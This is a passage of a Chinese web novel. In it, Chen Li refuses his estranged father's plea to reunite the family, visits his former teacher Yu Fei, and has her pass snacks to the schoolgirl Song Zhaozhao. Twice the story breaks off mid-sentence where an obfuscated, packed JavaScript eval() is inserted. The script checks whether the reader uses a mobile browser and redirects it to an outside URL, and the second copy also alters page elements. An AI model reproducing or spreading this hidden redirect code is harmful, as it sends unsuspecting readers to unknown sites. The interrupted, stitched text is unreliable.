小花去世后,他在那个空荡荡的房间守了两个月,度过新年后,决定回老家找寻妻女。 经历过小花的生死,他居然开始期待家庭圆满、老有所依。 然而当他在风光路蹲守大半月,好难得才蹲到董莲,她却对他避之不及。 那种冷漠、不屑的眼神刺痛了他,所以上次他才不管不顾扇了董莲两巴掌,并抢走她的钱以示惩戒。 - 不过…… 陈国平拿筷子的手缓缓停住了,刚刚路上遇到邻居问陈历怎么突然回来了。对啊,今天周四,应该是上学时间。 他怎么突然回家了? 该不会是董莲打电话跟他告状了? 陈国平气得咬了咬牙,有些心虚地看向陈历。 “爸想说什么,就直说吧。” 陈历捕捉到他的视线,慢腾腾放下碗筷。 “其实也没……没啥大事。”陈国平理亏在先,自然说不出口,只好一杯一杯喝着酒,“是爸对不起你们。” 静了一瞬,他忽然放下酒杯,表情为难地看向陈历:“可能我现在提这个要求,听起来很无理,但……” “什么要求?”陈历不欲听他多言。 “你也知道,爸这几年在外过得不容易,你看现在家里的外债都还得差不多了,我想,我想回来和你妈,还有你,一起生活。” “我前几天遇见你妈,但是我看她好像不太乐意见到我。” “要不,你帮我做做你妈的思想工作?” “爸向你道歉,也向你保证,爸这次一定会痛改前非,好好照顾你妈和你,再不会做出抛下你们两个人这种没良心的事情。” 他言辞激烈,态度恳切,甚至手都举到半空对天发誓。 又是哭诉这几年的不易,又是信誓旦旦保证,陈国平的话术一套接着一套,眼睛都因为感怀而微微泛红。 他的演技不去电视剧里发挥,着实可惜。 可惜。 可惜几年前,陈历见过母亲被人掀倒在地,被人指着鼻尖破口大骂,她那样柔软,一次次被其他人的言语和眼神踩到泥里,却为了他苦苦撑着。 他见过那样卑微可怜的母亲,低着头驮着背,乞求别人原谅,乞求他们多宽限点时日。 在危难时,他置母亲于绝境不管不顾。所以,他绝无可能原谅陈国平。 陈历的回答干脆利落:“不需要。” 迟来的关心与忏悔,对他而言一点也不珍贵。他宁可接下来的日子永远缺少父爱,缺少父亲陪伴,也不需要这毫无分量的道歉。 陈国平出现在母亲面前,只会让母亲一次次想起当年被人“千刀万剐”的日子。 回忆令人痛苦。 “不需要,不需要什么?”陈国平难以置信地一掌拍到桌面,摇了两下头,“你不需要爸爸了?” 陈历并不答话。 静了两秒,陈国平又气又急,响亮的嗓门吸引来旁桌的目光。 “你现在翅膀硬了,长大了,不需要爸爸了是吗?” “我养了你十几年,好吃好喝地供着你,陈历,你扪心自问,我亏待过你吗?”陈国平陡然抬高音量,“这些话是不是董莲教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“难道妈妈不欢迎我?”陈历与她玩笑,伸手去摸玄关口的灯,“怎么不开灯啊,小心看坏了眼睛。” “等等。”在他摁下开关前,董莲忽地喊住他。 然而她并没有阻止他开灯的理由。 她的儿子聪明、机灵,心细如发,任何异常的表现落在他的眼里,必然会被瞧出端倪。但若是开了灯,蹲守在楼下的陈国平就会发现家里有人…… 那个落在脸颊的巴掌,至今仍令她心惊胆战。 “怎么了?”陈历立在原地,佯装不知。 “开灯吧,妈妈。”他阖上身后的门,摁下了身侧的灯,随着暖色灯光照亮房间,陈历的声音也落了地。 “没事的,有我在。” 从餐馆回到风光路,陈历没有第一时间上楼,他特意在居民楼下站了一会儿才回家,本意是想吹吹风,吹散身上残留的烟味。 她不想抽烟被董莲闻出,那会让她多虑。 只是当他站在楼下,不经意仰头,望着家里对应楼层的屋子一片漆黑,不免心脏缩紧,泛起密密麻麻的疼痛感。 他当然知道董莲不开灯的用意,所以他回家的第一时间,不多问,也不戳穿。只是放下行李,上前给了董莲一个拥抱。 董莲笑着拍了拍他的后背,问他有没有吃晚餐。 陈历顺势摸了摸肚子,笑说:“正巧饿了,那就麻烦妈给我煮碗面吧,加两个蛋。” 董莲哑然失笑,应声后钻入厨房忙碌。 陈历放完行李,挽起衣袖准备跟进厨房,董莲挥挥手赶他出去:“去坐着,马上就好,不用你帮忙。” 陈历听从她的话没进去,也不离开,他双手抱臂,倚着墙壁透过玻璃门,盯着董莲忙碌的身影。 他想,现在的生活就很好。 他们已经适合彼此扶持,彼此照顾,彼此牵挂。他们会永远做对方坚实的靠山。最难的路已经走过来了,未来,他也不会让任何人破坏这份安宁。 即使对方是他的父亲。 陈历搭在胳膊上的手渐渐缩紧,内心下的决定谁也改变不了。他想,他要竭尽全力守护这个小家。 因为,他只有母亲了。 35. 第三十五章 35 第二天,陈历凌晨五点半就起床了。他简单洗漱后,从风光路出发,绕着绿道跑了整整六公里。 自从上了大学,没有强制跑操的要求,很多同学疏于运动,成日端坐着上课、打游戏,年纪轻轻,腹部下方堆积脂肪,像是套了一圈游泳圈,大有向啤酒肚发展的趋势。 陈历生来身强力壮,精力旺盛,从七八岁开始打篮球、网球,游泳、跑步,一项不落。不通过锻炼将精力消耗掉一部分,他很难静下心完成接下来整天的安排。 更何况跑步有益于人锻炼身体,强健体魄,他高中毕业后一直保持着运动的习惯。 除非刮风下雨,不方便出门运动,否则他几乎每天早起,雷打不动地跑个几公里。 跑完回家的路上,他顺手捎了早饭。 回家后发现董莲已经起床,正在阳台晾晒衣服,动作不紧不慢的。陈历顺口问了一句:“妈,你今天不上班吗?” “调班了,今明两天休息。” “嗯。”陈历用随身携带的毛巾擦了一圈脖子,问,“我带了早饭,烧卖、肉包、粽子,豆浆和牛奶,您喝哪个?” 董莲探出脑袋,说:“都行。你先吃,我晒完衣服就过来。” 陈历跑完步,确实有些饿了,便顺势坐下吃了两个包子,吃完后钻进浴室洗了个澡。 男孩子洗澡快,十几分钟轻松搞定。 头发吹得半干,出浴室时被董莲抓住,免不了一顿唠叨:“头发怎么不吹干呢?这几日气温忽高忽低的,小心感冒。” “别仗着年轻就不把身体当回事,小心老了头痛。” “没事。”陈历回卧室拎了件外套,“妈,我出去会儿,中午不回家吃饭了。” “去哪儿啊?” 董莲起身送他,视线随着他的身影在客厅来来回回转动。 “回趟学校,很快回来。” “高中吗?回去有什么事?”董莲望向陈历,见他点了点头,随即嘱咐道,“既然是去高中,要不要顺便看一下昭昭,给她带点爱吃的零食。” 陈历穿好鞋,随口应道:“看情况,不一定有机会。” 话虽是这么说的,但陈历出了门就直奔超市。在里面挑挑拣拣数十分钟,买了满满一袋零食。 薯片、夹心饼干、小麻花、巧克力……装的全是宋昭昭爱吃的。 买完零食,陈历又打车去了花店。 今天他回高中母校,主要目的是去见一见当初的英语老师兼班主任——余菲。 余菲今年四十五岁,虽然是和他们爸爸妈妈差不多的年纪,但她身上全然没有中老年人的固执与保守,她幽默开朗,为人和善,热衷学习新鲜事物,跟上时代潮流,和同学们之间交流几乎没有代沟。 作为班主任,她可谓尽心尽力,班里同学的大事小事,能帮得上忙的她从来不推辞。 当年陈历高考填报志愿,余菲给过不少意见。后来他被高校录取,余菲主动委托在这所学校教书的表弟多加照顾。 陈历是个记恩的人,毕业这么多年,每次回家但凡得空,都会回来见一见余菲。有时候几个同班同学相约去老师家做客,有时候就拎一束鲜花回学校和她唠嗑。 四月底,当初的同学们都还在大学读书,分散在天南海北,陈历没有同伴陪同,只得一人前往。 - 陈历读高中时,作为优秀学生代表,早就被校门口的保安熟识。再加上毕业后这几年,他经常和同学们组团回学校看望老师,刷脸的次数多了,对方早将他铭记于心。 以至于今天陈历还没走到校门口,保安大爷就已经早早叫出他的名字。 “陈历,你今天怎么有空过来?” “大爷。”陈历微微一笑,向大爷走了过去。 “我记得你在外省读大学吧,还没到五一假期呢,怎么回来了?” “哦,回家取资料,顺便来看看老师。”陈历身穿白衣黑裤,长得温文尔雅,一副清清爽爽的好学生模样,笑起来尤其讨人喜欢。 “这样啊……” 保安大爷见着他,眉眼带笑,热情地拉着他话了一会儿家常,直到上课铃打响了才放他进去。 “别去教学楼晃悠啊,学生们在上课,要是被哪位老师发现我放人进来,告到领导那里去了,我可吃不了兜着走。” 大爷悄声提醒他。 “放心吧,我不乱跑。”陈历走出保安室大门,从兜里掏出一包烟递了过去。 这包烟是他昨天新买的,只当着陈国平的面抽过一根。 大爷以前每次放他和同学通行,大家都想给大爷送些好吃的表示感谢。 可是大爷不收。 他笑眯眯地摸着他的胡须,偷偷摸摸道:“你们要真感谢我,给我递两根烟就行。” 话音落,同行的伙伴当即去校门对面的超市买了两包全新未拆封的烟,藏在衣袖里送了过去。 大爷摆手,不肯多要。 一打听才知道,原来是大爷的老婆在意他的身体健康,上了年纪之后不允许他多抽烟,可这烟瘾不是一天两天就能戒掉的,若是在保安室放上一整包烟,他闲来无事,没半天就能抽完。 鉴于大爷本人自律性较差,所以他不拿整包烟,只取一两根放到鼻尖闻闻味。 挺久远的事,陈历一直记着。 他递完烟,贴心地提醒大爷:“抽烟有害身体健康,记得不宜多抽。” 说罢,陈历朝他点了点头,往里走。 - 虽已离开高中校园多年,但再次回来,里头的一花一木、一草一树仍旧令人感到十分熟悉、亲切。 陈历沿着记忆中那条小道,快步往操场的方向走。 每学期开学,宋昭昭都会主动给他发一次课表,他没记错的话,周五上午第四节,她应该是在操场上体育课。 果不其然,陈历走到操场入口时,发现偌大的红色塑胶跑道上站立着四个班级的同学,体育老师正抱着点名册点名。 陈历抱着花、拎着零食、甜品,没穿校服,站在四下无人的操场入口,未免过于显眼。 他左右张望了下,多走了两步,进入看台底下的器材室。 器材室没有锁门,空荡、昏暗的房间里堆放着跳高垫、排球、篮球……陈历绕过器械,把手中的物品小心有序地放置在一张木桌上。 器材室的白墙正对跑道,左右两端各开了一扇窗,四四方方的,有光从窗户漏进来。 陈历眯了眯眼,三两步走到窗前。 一米八几的身高这个时候刚刚好够用,不用踮脚,可以从这扇小窗户平视出去。操场上同学们的一举一动,全都清楚地落入他的眼中。 体育老师点名完毕,各个班级开始进行拉伸活动。 陈历的视线环视一周,立即捕捉到站在左边队伍第二排,微低着头和身侧女生说悄悄话的宋昭昭。 她们旁若无人地说话,女生讲得绘声绘色,宋昭昭时不时被逗乐,她又不敢放声大笑,肩膀一抖一抖的,憋得十分辛苦。 然而没笑多久,就被体育老师逮住了。 身旁的女生能屈能伸,不反驳,立马笑嘻嘻认错:“我错了,我错了,老师,对不起!我们保证不说话了。” 陈历定睛一看,那位嬉皮笑脸的女生他好像认得。 宋昭昭的好朋友——陈蓓。 他记得之前宋昭昭一家还住在风光路的时候,陈蓓来过好几回,每次两个人躲在卧室,一待就是一天。 陈历总是疑惑,女生之间会有那么多可以分享的秘密? 刚认识没多久,他就听宋昭昭聊过几回她这个朋友。陈历对她的印象是—— 行事乖张、不受拘束,是个很有思想的女孩子。 后来,他们因为一次意外,在宋家的客厅里打过照面。 那天,陈蓓与宋昭昭正聊到最近追求她的男孩子,话题聊得火热,她正在兴头上,讲得口干舌燥。 从卧室里出来倒水喝,正巧撞见前来送董莲亲手制作的枣糕的陈历。 陈蓓见到陌生人完全不惧,没有大叫大嚷,反倒镇定地、直勾勾地盯着他,问:“你就是陈历?” 陈蓓能问得这么熟稔,必定早从宋昭昭口中听过他的名字。 陈历眼神微眯,点头。 得到他肯定的答复,陈蓓眼睛一亮。 她三两步走上前,礼貌地做起自我介绍:“你好,我叫陈蓓,和你一个姓。我是昭昭的同桌兼好朋友。” 彼时,他们之间隔了三拳左右的距离,有点超过陌生人的社交范围。 不过,他难得没有往后退步。 陈历居高临下地看了她一眼,将手中那盘枣糕递了过去,语气依旧平淡:“这是我妈做的枣糕,你带进去和昭昭一起吃吧。” 陈蓓没接枣糕,反倒细细地打量了他一番。 视线从头扫到脚,再从下往上移,直至四目相对,她肯定地点了点头:“真是挺帅的,难怪……” 话音戛然而止。 她在陈历疑惑的目光中勾了勾唇角:“你自己怎么不进去送?” 陈历望着她,沉默不语。 四目相对,陈蓓似乎想从他的眼神中读出点什么。可惜他的眼眸冷淡如一潭平静的水,无风无浪,只能照见她探究审视的表情。 陈蓓无趣地撇了撇嘴。 两人都在试探。 最后还是宋昭昭见陈蓓去倒了那么久的水还没回来,推开房门一看—— 客厅里,陈蓓居然都和陈历搭上了话。 宋昭昭如临大敌,慌忙跑出来,对着两张风轻云淡的脸微笑,左看看右瞧瞧,头甩得像个拨浪鼓。 她生怕陈蓓说漏了嘴,赶忙接过枣糕推陈蓓回房间。 陈蓓也不反抗,走到卧室门口了回过头,半开玩笑半认真问道:“帅哥,你真不和我们一起玩吗?” 宋昭昭反手把她推了进去,望向陈历,讪讪地笑:“你别搭理她,她开玩笑的。” 一起玩? 陈蓓看起来不像缺玩伴的样子。 一个拉伸活动,不是和宋昭昭说笑话,就是和后排的男生拳打脚踢,体育老师一记眼神杀过来,她立马变脸,摆出恭恭敬敬、乖巧听话的表情。 装模作样。 陈历淡淡一笑,视线从陈蓓挪到宋昭昭身上。 宋昭昭性格内敛细腻,没有陈蓓大大咧咧,跟着老师认真做拉伸运动,注意力却时不时被陈蓓拽走。 旁观一场大戏之后,抿着嘴偷偷笑。 她一直很乖顺。 陈历盯着她看了好一会儿,直至换了好几个拉伸动作才恍然回神。 他清了清嗓,扫视队伍。 终于捕捉到从一开始就发现的异常之处。 他看见从拉伸活动开始,站在宋昭昭左后方的一位男生无时无刻不在偷瞄她,注意她的言行举止。 她笑,他也跟着嘴角上扬。 她说悄悄话被老师逮到,他便制造噪音提醒。 这个年纪男生女生的心思都太好猜,尤其是当老师一声令下,以班级为单位开始绕操场跑圈,班里的同学齐心协力把刚刚那位男生往宋昭昭所在的方向推。 男生一边抗拒着往后退,一边却偷看宋昭昭的反应。 眼角眉梢尽是遮不住的笑意。 青春期的少男少女,生理、心理逐渐发育成熟,随着荷尔蒙的变化,对异性产生好感是再正常不过的事情。 宋昭昭漂亮、可爱、温和,被人喜欢和追求再正常不过。 陈历的目光从男生身上收回,再次投向宋昭昭的方向。 当事人跑在队伍前面,对身后男生们的操作一概不知。 反倒是跑步时不安分,左看右看、上看下看的陈蓓率先发现背后的动静,她偷笑着瞧一眼男生,再意味深长地回过头。 “昭昭,再不跑快点,可就被贺辛述追上咯。” 宋昭昭被她婉转起伏的音调逗得有些害羞,一个劲儿去躲。 低下头,生怕被人瞧出她脸颊泛红。 打趣的意味格外浓,陈蓓边笑边回头,眼神不经意间对上遥远的白墙背后,器材室里,那双沉静幽暗的眼睛。 相隔半个操场的距离,陈蓓莫名觉得那双眼有点熟悉。 她怕自己眼花,又怕那人一闪而过。 于是快速拍了拍宋昭昭的胳膊,说:“昭昭,你看那间器材室里,是不是站着个人?”语气有些急促。 “嗯?” 宋昭昭疑惑,先看向陈蓓的脸,见她一本正经,不像玩笑,才莫名其妙地转过头。 然而,器材室两扇狭窄的小窗户都被她看完了,也没看见陈蓓口中的“人”。 宋昭昭将信将疑道:“你别不是最近熬夜熬太狠,脑袋晕了吧。哪里有人?” 没人吗? 陈蓓晃了晃脑袋,视线紧紧盯着方才那扇窗户。 随着队伍绕过跑道的弯,他们离器材室越来越近,经过窗户的时候,陈蓓特意放慢脚步往里探看。 很显然,昏暗的房间里除了摆放的各类器械,根本没有人影的存在。 难道真是她看错了? - 陈历意识到被陈蓓发现后,丝毫不犹豫,转身去了综合楼。 巧就巧在他刚走到门口,迎面撞上了从办公室出来的余菲。 余菲看见陈历,满脸不可置信,她的眼睛亮了一亮:“陈历,你怎么过来了?” 陈历扬起笑容,把怀里的花束递了出去。 “来看余老师。” “来就来,居然还带花,这么客气。”余菲没推脱,抱着花束喜笑颜开,她对着花欣赏了一遍,才问,“你们学校今年放假这么早吗?” “没有,回家取资料。”陈历对外的借口始终如一,“对了,这袋甜品也是给您的。” 余菲偏爱甜口蛋糕,这么多年一直是校门口“蓝记”蛋糕店的常客,她不仅自己爱吃,也总请同学们吃。 她说高中生学习辛苦,就该吃点甜品调一调枯燥无味的生活。 当年同学们开玩笑:“余老师,你是不是给‘蓝记’投资了?整天给他家打广告。” 余菲双手一摊:“我倒是想。最好是把连锁店开去我家,这样我每天都能吃上现烤的、热乎的小蛋糕。” “以后有同学打算投资开甜品店,可以来找我哈!咱们共同创业,把它做大做强!” 余菲是个慷慨的人,她对同学们点点滴滴的好,大家都记在心里。 毕业之后,同学们每每组团回学校看望老师,都会不约而同地给她拎一提“蓝记”的甜品和小酥饼。 余菲笑着接过了陈历送的“蓝记”,道谢,折身返回办公室。 她从工位取来车钥匙,边走边问:“中午想吃什么?老师请客。火锅,烤肉,日料?” 本来她上午没课,刚刚出综合楼的门,是想避开午餐高峰期去食堂吃一碗面。 既然陈历来了,她刚好有人作陪,可以去校外吃顿好的。 “不用,就在学校食堂吃吧。” “那怎么行!”余菲断然拒绝,“我收了你的礼物,自然要好吃好喝地招待。你别跟老师客气呀。” “真没客气,我好久没吃食堂的饭菜了,还怪想念的。”陈历认真与她对视,表情不像说假。 余菲狐疑地看他一眼,最终点头答应下来。 - 一中的食堂共有三层,一层主食是饭,二层主食是面,每天到了饭点,能挤进上千名学生,人山人海,热闹非凡。 三层是教师食堂,有隔间和包间,相比较一二楼,更宽敞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405688|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、明亮。 余菲领陈历去了教师食堂。 对于三楼食堂,陈历并不陌生。 他还记得第一次来教师食堂,是在毕业那年。 当时余菲正上着课,见大家昏昏欲睡,忽然就问同学们有没有在学校没实现的小愿望,她可以尽量帮大家实现。 同学们你看看我,我看看你。 安静了两分钟,有位坐在角落的男生举手,鼓起勇气道:“老师,我还没去过咱们食堂三楼吃顿饭,想上去看看。” 此言一出,众人纷纷附和。 “小问题!” 余菲拍着胸脯向大家保证,下了课直接领着全班四十多位同学去了教师食堂,并且承担了他们那一餐的全部费用。 这事在同学之间口口相传,惹得其他班的人艳羡不已。 余菲老师本就很好的口碑,又一次在同学的心目中拔高了。 - 余菲走在前面,陈历紧随其后,两人上了三楼。 此时未到饭点,食堂的工作人员还在做准备工作,大概还有二十分钟正式开卖。 “坐着聊会儿天?跟老师讲讲你参加竞赛的情况,还有接下来的打算。” 余菲要了两杯柠檬水,推了一杯到陈历面前。 陈历对她没有隐瞒,开门见山道:“我准备考研。” “考研?这是件好事啊!作为法学生,将来无论是想考公进体制,还是从事法律职业,能进一步提高学历百利而无一害。” “国内顶级的红圈所律师,大多出自五院四系,你身在其中,本就比非五院四系的法学生多一重认可。当然得考研。考研意味着能加强专业知识,提升个人能力,进一步拓宽人脉!若是能遇上一位尽职尽责的导师,那更是终身受益。” 余菲到底是过来人,三两句讲明其中的利害关系,并询问他是否需要帮助。 “暂时不用。”陈历挠了挠后脑勺,“不瞒您说,其实我有本校保研的机会,只是没考虑好是接受保研,还是拼一把,考考北大的法学院。” 余菲静了一瞬,低着头认真思考了会儿。 半晌后抬眼,望向他:“这问题,着实把我难住了。” 保研相当于有了稳定的退路,在其他人绞尽脑汁冲刺学习的时候,他可以腾出时间去做其他更有利于提升自己的事情。而且本校保研,本就比外校考进来的学生更得导师重视。 并且他目前所在的学校在全国排名前二十,本就不差。 但北大法学院…… 诱惑力确实很大。 他们详谈了十几分钟,直到食堂正式开始营业才暂停谈话。 余菲问他:“吃什么?” “盖浇饭吧。” “还是老样式,土豆牛腩吗?” “嗯。” 两个人的对话熟稔得像是多年好友。 陈历犹记得他们班的学习委员,是个瘦瘦高高的姑娘,她平时在班级里看着挺安静的,有点“两耳不闻窗外事”那种读书人清冷孤傲的味道。 当年毕业答谢宴上,她居然抱着余菲哭。 女生喝过几杯酒,耳朵、脸颊都红扑扑的,眼睛也哭得红通通,她抱住余菲的胳膊不肯撒手,边哭边说:“老师,我最喜欢你了,一点儿也不想和你分开。” “离开你,还让我去哪儿找这么好的老师啊……” “老师我跟你说,我从小到大就没遇到过你这样式儿的老师,没有架子,能跟同学们打成一片,考砸了不但不批评,还会煮腊八粥给我们喝,虽然您那腊八粥的糖撒多了,甜得齁嗓子,不过我都吃完了!” “还有啊,老师你工资高不高的?总是请大家吃蛋糕、喝奶茶,听说您还不止请我们一个班级,这么多人……得花多少钱啊!您每个月剩下的钱够不够养家啊……” 有人录视频,有人捂嘴哭。 余菲不停地拍着女同学的背,众目睽睽之下抱住她:“老师工资不高,交完社保公积金,到手只有几千块,不过老师的老公是开公司的,有钱。” “你们这些同学将来选专业,可得想清楚,要是不求大富大贵,只求稳定,师范生确实是个不错的出路。但你们若是有野心,想拼博一把,最好还是换个专业……” 一个深情告白,一个谆谆教诲。 班长从旁观到最后收拾烂摊子,直接连扣了个“666”。 遇到一位负责人的好老师,对学生们的身心影响巨大。 陈历以及他们班的绝大多数同学都非常感激余菲,感激她在高三,大家精神压力最大的时候,不是一味教育批评,而是带领他们在条条框框的校规下,享受片刻的轻松和美好。 饭吃到最后,来食堂的老师越来越多。 余菲瞄了眼陈历放在身侧的一大袋零食,微微一笑,问道:“这袋零食看你拎了一路,总不是给我的吧。” 陈历轻点了下头。 “是带给哪位同学的吗?” 陈历抬起头,直视余菲,说:“还得麻烦余老师帮我个忙。” 余菲的手指指向自己,不可置信地问:“我?” 你确定是让我帮忙? “嗯。”陈历嘴角浮起一抹不易察觉的笑,“她是您班上的学生,叫宋昭昭。” 余菲长“哦”了声,望着他,语气有打趣也有无奈:“你可千万别告诉我,你和我班上的宋昭昭同学在谈恋爱……” 陈历已经成年,谈恋爱不足为奇。 但宋昭昭……她毕竟还是位高二的学生。 余菲看向他的目光逐渐变得复杂。 她教书二十多年,手底下教出来的学生至少有几千名。青春期的男女生对彼此产生懵懵懂懂的情愫,这太正常不过。她在一对对早恋的同学中练就了一双火眼金睛,只需简单问两句,就能探查出他们的心意。 她认识陈历四五年,一直觉得这个孩子身上有着超越同龄人的成熟和坚韧。 他性情温和,待人宽容,做事稳妥,看着冷淡,其实是藏锋敛锐。 他居然也不可自拔地陷入爱情了?眼巴巴地提着一袋零食送到学校。 陈历哑然失笑:“余老师,您别说笑了。我和她……她之前是我邻居,我们两家交好,他们帮过我不少忙,这次来学校,我就想着给她带点零食。” “就这样?”余菲将信将疑地看了他一眼。 陈历目光真挚:“当然。” 余菲挪开视线,望向窗外:“其实老师也不是这么不开明的人,恋爱是一件很美好的事情,年轻人谈恋爱很正常,只不过……” “你俩差几岁啊?”余菲忽然话锋一转。 陈历笑得有些无奈:“四五岁吧,但这不是重点。” “好啦,老师相信你们,这件事包在我身上。”余菲打趣完陈历,随即转了话题。 吃完午饭,陈历把零食交到余菲手里。离开学校时,陈历特意拐去操场,绕着绿茵跑道走了半圈。 此时学生们都去食堂吃饭了,教学楼、操场空空荡荡的。 陈历早已过了穿校服的年纪,走在操场上也并未萌生太多感伤的情绪。只是风吹落叶,阳光刺得他睁不开眼的瞬间,他惊觉时间走得好快。 初见宋昭昭那年,她还是个蹦蹦跳跳、不知烦恼的小姑娘。两家长辈聚餐,她总是睁着一双麋鹿般澄澈明亮的眼睛,怯怯地偷看他。 偷看的频率高,他察觉到后,便会避开她的视线,以免惊扰了她。 有时候视线在空中不经意对上,她立刻欲盖弥彰地移开,低着头长久不说话。 小女孩遮遮掩掩的举止泄露了她的心意,陈历领悟过来,也曾左右为难。 不是没有动摇过。 只是今日阳光底下,他忽然觉得宋昭昭值得更真挚炙热的喜欢。 而他,未必给得起。 36. 第三十六章 36 从余菲手里接过一整袋零食时,宋昭昭满脑子想的都是“我最近撞啥大运了”? 左思右想,得出结论—— 大概是天上掉馅儿饼了。 虽说余菲经常给大家投喂蛋糕、奶茶、炸鸡、薯条,但今天只给她一人拎了零食,确实从未有过。 宋昭昭向余菲投以疑惑的眼神,壮着胆子问:“老师,我要给你钱吗……?” 余菲被她逗得捧腹大笑,断断续续道:“昭昭,之前怎么没发现你那么幽默呢。” 说罢,慈爱地摸了摸她的脑袋:“不用,老师给你的零食,你安心吃吧。” 她时刻谨记陈历离开前的叮嘱—— 千万不要让宋昭昭知道送零食的人是我。 宋昭昭得到她的回复,稍稍放宽了心,但依旧感到有些不可置信,她捧着袋子,为难地左右张望。 手里的零食好似成了烫手山芋。 余菲心细,察觉到宋昭昭的难为情,黑色的眼珠滴溜一转,借口信手捏来:“这是老师看你最近学习有很大进步,特意买来奖励你的。” “继续加油啊!” 一听此话,围在身旁的陈蓓急得直跳脚,她歪着头,亮晶晶的眸子直勾勾地盯着余菲。 “那我呢?那我呢?”陈蓓举起手,“老师,我也进步了,我有奖励吗?” 余菲眉开眼笑,慢悠悠道:“有啊,奖励你一套卷子。” “……” 陈蓓的脸瞬间垮了。 宋昭昭见状,忙扯了扯陈蓓的衣袖,调侃道:“老师肯定是在和我们开玩笑呢,这零食我们一起吃。” “对对对,你们一起吃!”余菲搭腔。 “呜呜呜,你人好好哦!呜呜呜,我好感动哦!”陈蓓惯会说些甜言蜜语,她猛地勾过宋昭昭的脖子,作泫然欲泣状。 场面其乐融融,三人都不免嘴角上扬。 午休的铃声打响,陈蓓又与余菲耍了几句贫嘴,才挽着宋昭昭的手乐滋滋地回到座位。 两人是同桌,座位紧紧挨在一块儿。 此刻拆开了袋子,两颗脑袋紧贴着凑到中间,好奇地查看里面都有哪些零食,边看边动手挑拣。 “薯条,果冻,麻花,巧克力……” 陈蓓翻找了好一会儿,惊诧道:“昭昭,这些都是你喜欢吃的诶!”她为这默契感到不可思议,冲宋昭昭举起一包小麻花,笑得眉眼弯弯。 宋昭昭也跟着笑,嘴角扬起的弧度逐渐扩大。 其实,比起这一袋零食,她更高兴的是—— 余菲老师表扬了她,她夸赞她学习进步很大。 陈蓓大大咧咧,挑走两包鸭舌后,拆开包装,旁若无人地啃了起来。 宋昭昭的视线越过陈蓓,朝教室外的走廊扫了一圈。 走廊外面没有老师经过,她快速地从桌肚里掏出手机,对着零食“咔咔”拍了两张。 学校明令禁止上学期间不允许带手机,于是她速战速决,顾不得调整拍摄的角度。 拍完后,宋昭昭滑动微信联系人那一栏,顺手点开了陈历的头像。 指腹在聊天界面停留了数十秒,她眼一闭心一横,将那张照片发送出去。 附带一句话。 【你看,这是我们老师奖励给我的零食,她夸我学习进步了。没有骗你哦,我真的有在用功学习。】 【好巧哦,这些居然全都是我喜欢吃的!】 微妙的巧合带给她“幸运”的暗示,宋昭昭从老师手中接过零食那一刻起,好似跃上了云层。 心情雀跃,整个人都轻飘飘的。 发送完信息,宋昭昭立马将手机反扣在桌肚里。 她浅浅呼出一口气,握起笔,装模作样地在纸上写写画画。 陈历平时叮嘱她学习要专心,偶尔放松娱乐可以,但没必要浪费太多时间在聊天上面。 她谨遵教诲,已经大大降低自己找他聊天的频率。 今天难得收到老师的零食和表扬,向他分享一回,应该不过分吧? 手机设置静音,宋昭昭抱着愉悦的心情等了半小时,才重新掏出它。她满怀期待打开,结果发现聊天界面依旧停留在她刚发出的两条信息上面。 他应该在忙。 宋昭昭如是安慰自己,依依不舍地熄了屏。 - 宋昭昭等啊等,等到放了学,回了家,一晃六七个小时过去了,手机仍旧没有任何新消息弹进来。 期盼雀跃的心情被沮丧难过取而代之。 因为他的沉默,她迫不及待的分享变成了略带讽刺的炫耀。 饭桌上,父母照例问起她在学校的日常。 宋昭昭有气无力,寥寥几句带过。 “怎么了?人蔫蔫的,是不是不舒服啊?”宋母率先发出疑问,说着就伸出手,要来探她额头的温度。 宋昭昭侧身躲过了。 “没事,我就是学得有些累,想休息了。” “这样啊……”宋母拉长了尾音,思索片刻道,“既然你觉得累,那明天就我自己去风光路好了,你待在家里好好睡一觉。” “风光路”这三个字带有魔力,落入她的耳朵立即被捕捉到。 “去风光路干嘛?” 宋母朝远处的柜台抬了抬下巴,示意道:“喏,上周出差带回来的土特产,忘了给你莲姨送过去。下午刚问过她,明天她调班休息。” “偏偏有位客户约了我明天谈事情,本来想差你去送,既然你累了……” “送个土特产而已,还好吧。”宋昭昭立时把话截了过去,筷子戳着米饭,漫不经心道,“明天我去送,你们忙你们的去吧,就这么定了。” 宋昭昭简单利索地做完决定,顿时又恢复了吃饭的力气。 她一边夹菜,一边在心底盘算。 明天见到了莲姨,该怎么聊天才能显得不刻意,从她嘴里打听出陈历最近的消息。 晚上洗完澡,宋昭昭坐在书桌前写了两套题,爬回床上时已近零点。 她百无聊赖地刷着热点新闻,悠悠地打了个哈欠,最后点开校园墙,看看最近学校里有没有可吃的瓜。 指腹在冰凉的屏幕上滑动两下,宋昭昭的视线突然被一则信息拽了过去,原本因为困倦而耷拉下来的眼皮忽地撑开了。 她眯起眼眸,仔仔细细地将其中一则“寻人启事”从头读到尾。 呼吸凝滞,手指堪堪停在半空。 半晌后,宋昭昭迟钝地摁灭屏幕,收拢因为诧异而微张的嘴巴。 疑问盘旋在胸口。 暗夜里,她的睫毛微不可察地颤动了一下。 - 宋昭昭睡不着,也睡不好,一大早便从被窝里爬起来了。 她出卧室房门的时候,惊得宋母特意走到阳台仰头张望,嘴里嘟囔着:“没错啊,太阳今天是从东边升起来的。” 宋昭昭无语地在餐桌前落座,抗议道:“我也没那么好吃懒做、爱睡觉吧……” 宋母“嗯嗯啊啊”地敷衍回应,顺道给她塞了一片土司。 